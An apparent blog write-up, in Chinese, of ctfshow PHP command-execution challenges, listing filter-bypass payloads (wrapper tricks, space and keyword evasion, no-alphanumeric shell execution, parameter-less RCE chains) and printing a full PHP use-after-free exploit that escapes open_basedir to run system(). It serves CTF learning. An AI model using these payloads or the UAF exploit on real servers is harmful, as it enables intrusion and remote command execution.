命令执行刷题

命令执行

Web29-37

都使用get传参,

根据被屏蔽的字词的不同考虑不同的解法

(1)system(“”);执行一系列查看文件操作

(2)都可以一把梭 如果只对get的参数c进行限制 用eval($_GET[])来进行参数逃逸 如果()被过滤可以考虑使用结构语言 include require print echo inset unset

常用Payload ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Filter伪协议 常用于读取文件/源码

Web39

使用了include文件包含,使用伪协议date 使后面的语句不是当成字符串类型,可以当成php语句被执行

短标签就是把<?php 换成<?= 前提是这个功能打开

Payload

1
?c=data://text/plain,<?php system(“tac f*”);?>
image-20230530142400973

Web40

image-20230530153304420

RCE无参数

localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)

scandir():获取目录下的文件,scandir(.):获取当前目录下所有文件

pos():返回数组中的当前元素的值。

array_reverse():数组逆序

next(): 函数将内部指针指向数组中的下一个元素,并输出。

highlight_file():函数进行文件内容的读取,并输出(也可用show_source)

image-20230530185039088

show_source(next(array_reverse(scandir(pos(localeconv())))));

?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

image-20230530153424249

Web43img

代码中插入了>/dev/null 2>&1,“>/dev/null 2>&1”的作用就是不回显。

(分隔符进行分割绕过)这道题和上一题差不多,不一样的是屏蔽了;可以用%0a绕过或者(%26%26)&&或者(%27%27)||绕过

不是很明白的一个点&&需要url编码 但是||却不要 原因:在URL内的所有不安全的字符必须被编码。保留的,预留的(Reserved):许多URL方案为特殊的意义保留了某些字符:它们在部分URL指定方案中出现。如果相应八字节的字符是方案内部的保留字,那它必须被编码。字符; , / , ? , : , @ , = &可能被某个方案预留用作特殊意义。在其他方案中不能保留其他字符。当一个八字节由一个字符表示并且被编码时,URL通常具有相同的解释。 但是,对于保留字符而言,这不是真的:编码一个为特定方案保留的字符可能会改变URL的语义。因此,在URL中数字、字母、特殊字符$ -_。+!*()以及保留字符要经过解码(unencoded)后才使用。另一方面,只要它们不用于保留目的,可以在URL指定方案中编码不需要编码的字符(包括字母数字)。

Payload:?c=tac f*||

Web44

img

跟上面一题一样 多了过滤flag 用通配符就行

img

Web45

img

没什么特别的多了过滤空格常见方法如下

1
2
3
4
5
%09(url传递)  表示的是tab (cat%09flag.php)
${IFS}
$IFS$9
<>(cat<>flag)
<(cat<flag)

{cat,flag}原理参考:https://blog.csdn.net/m0_56059226/article/details/117997472

img

Web46img

过滤多了数字 由于%09(tab)绕过空格解码后代表的是tab不属于数字不会被过滤

过滤了$ $$$所以不能用${IFS}绕过空格

沿用上一题的payload就行

img

Web47

img

过滤了more less 等查看文件的命令 (more:一页一页的显示档案内容

less:与 more 类似

head:查看头几行

tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示

tail:查看尾几行

nl:显示的时候,顺便输出行号

od:以二进制的方式读取档案内容

vi:一种编辑器,这个也可以查看

vim:一种编辑器,这个也可以查看

sort:可以查看

uniq:可以查看

file -f:报错出具体内容)还是一样用tac没什么好说的

img

Web48

img

还是过滤多了sed cut等Linux命令

用上一题payload

img

Web49

img

多了% 不过跟题目没啥关系 沿用上题payload

img

Web50

img

过滤了&(%26)和tab(%09) 一样啊 用<绕过空格

但是不能用?通配符 ???

利用shall特性用’’或者””或者\隔开被过滤的字符串(原理:还有一个小知识,之前我在纠结为什么ca\t或者c\at的效果和cat一样,后来经过东拼西凑的问大佬和尝试,最后总结的原因是因为在linux里面当转义符号()转义普通字符的时候,和普通字符原来的效果是一样的,意思就是\t和t都是t,只有在转义特殊字符的时候,才起了作用,比如$,$则不再表示变量的意思。)

img

Web51

img

多过滤了tac 换个nl继续用

或者继续ta\c

img

img

Web52

img

常规去做 发现过滤了上一题的<> 有点惯性思维去找其他解题方法 没有看见没有过滤$

img

发现被耍了 这个flag.php中不是答案

img

查看根目录下的文件夹 发现是有flag这个文件的 有两个想法 一个是直接读取里面的文件,一个是把flag复制到当前文件夹中

img

二可行

img

查看一下flag这个文件的权限有rx,应该是可以读

img

Web53

img

看了一下是echo函数 然后多了变量d后会system$c

img

常规看一下文件内容 有flag.php 直接看

img

Web54

img

在正则中 .*c.*a.*t.*相当于cat中不能穿插任何字符了,所以不能用’’绕过 考虑用mv对文件重命名

img

Web55

img

过滤了所有字母,查了资料 有两种解法 一种是通过执行的上传文件 另一种是通过/bin/base64输出flag

第二种方法试了下发现不能用

仔细研究了p神的文章https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

具体方法:。.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。(1. “ ./ “ 的方式类似于新建了一个shell, 在这个新建的shell中去执行脚本中的程序,类似于新建了一个子进程,但这个子进程不继承父进程的所有非export类型的变量,并且脚本中对非export环境变量的创建或修改不会反馈到外部调用shell中

\2. ” . “ 的方式类似于将脚本中的每一行指令逐条在当前shell中执行,因此它继承了当前shell的环境变量,同时脚本中对环境变量的修改也可以反馈到shell中)

上传的文件会临时储存在一个地址下一般为/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。最后构造POC,执行任意命令

image-20230530200618504

image-20230530200629352

最后rce

image-20230530200713771

Web56

img

比55多过滤了数字和$ 应该对文件上传影响不大 尝试用文件上传

image-20230530200527722

Web57

img

多过滤了. 和? 所以不能像上一题用文件上传

这道题表达flag在36.php 而在system函数中也有cat和.php 只需要传参c=36就行了

1
2
在Linux shell中$(())是代表数学运算   ~代表取反    举个栗子:a=1,b=2
$a+$b就等同于$((1+2))

img

一个很奇怪的点 -1取反再输出是显示的0 要得到一就要在加一个$((~$(())))

所以要输出36 需要37个

1
$((~$(())))

img

img

Web58

img

只能一个一个试过去

img

直接读文件

Web59

跟上题一样,啥也不知道

img

还是直接读就读出来了

img

Web60

img

img

Web61 62

还是和上一题一样的

Web66

img

查看目录

img

Print_r和var_dump 作用差不多可以替换

2.var_dump()和print_r()的区别

共同点:两者都可以打印数组,对象之类的复合型变量。

区别:print_r() 只能打印一些易于理解的信息,且print_r()在打印数组时,会将把数组的指针移到最后边,使用 reset() 可让指针回到开始处。 而var_dump()不但能打印复合类型的数据,还能打印资源类型的变量。且var_dump()输出的信息则比较详细,一般调试时用得多。

img

Web67

和上一题一样

Web68

img

常规查目录

img

这次禁用了show_source 和highlingt_file

用includeimg

然后就RCE

Web70

Var_dump print_r被禁 还可以使用var_export

var_export() 函数用于输出或返回一个变量,以字符串形式表示。

var_export() 函数返回关于传递给该函数的变量的结构信息,它和 var_dump() 类似,不同的是其返回的是一个合法的 PHP 代码。

image-20230530202004081

还是一样include方法做

Web71

image-20230530203443557

img

PHP详解ob_clean,ob_start和ob_get_contents函数

这道题是先将缓冲区的内容存在s变量中,然后执行清空缓冲区可以忽略前面所有输出,再通过替换输出s变量形成看到的题目。

可以用exit()直接终端进程

image-20230530203500613

Web72img

无权限 用glob伪协议遍历目录 (通用版)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
c=$a="glob:///*.txt";
if($b=opendir($a)){
while(($a=readdir($b))!==false){
echo "filename:".$a."\n";
}
closedir($b);
}
exit();
或者
c=?><?php $a=new DirectoryIterator("glob://./*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

然后利用uaf漏洞来读取

看了关于uaf漏洞的笔记:漏洞学习笔记——UAF漏洞_孤月丶星辰的博客-CSDN博客_uaf漏洞

uaf绕过open_basedir执行命令
poc(需要url编码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
<?php

function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
​ } else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
​ }
​ }

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
​ } else continue;

return $data_addr + $i * 8;
​ }
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
​ }
$addr += 0x20;
​ } while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();

}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

img

Web73

img

img

还是glob遍历

img

用上脚本发现strlen被ban了

img

看其他师傅的wp include是没有被ban掉的 做题定向思维了 这应该是非预期解了

Web74

img

img

和上一题一样

Web75

img

img

这道题是用了pdo连接mysql操作方法 不是特别明白 先跳过


命令执行刷题
http://example.com/2023/05/29/web/web1/
作者
Re1ca1g
发布于
2023年5月29日
许可协议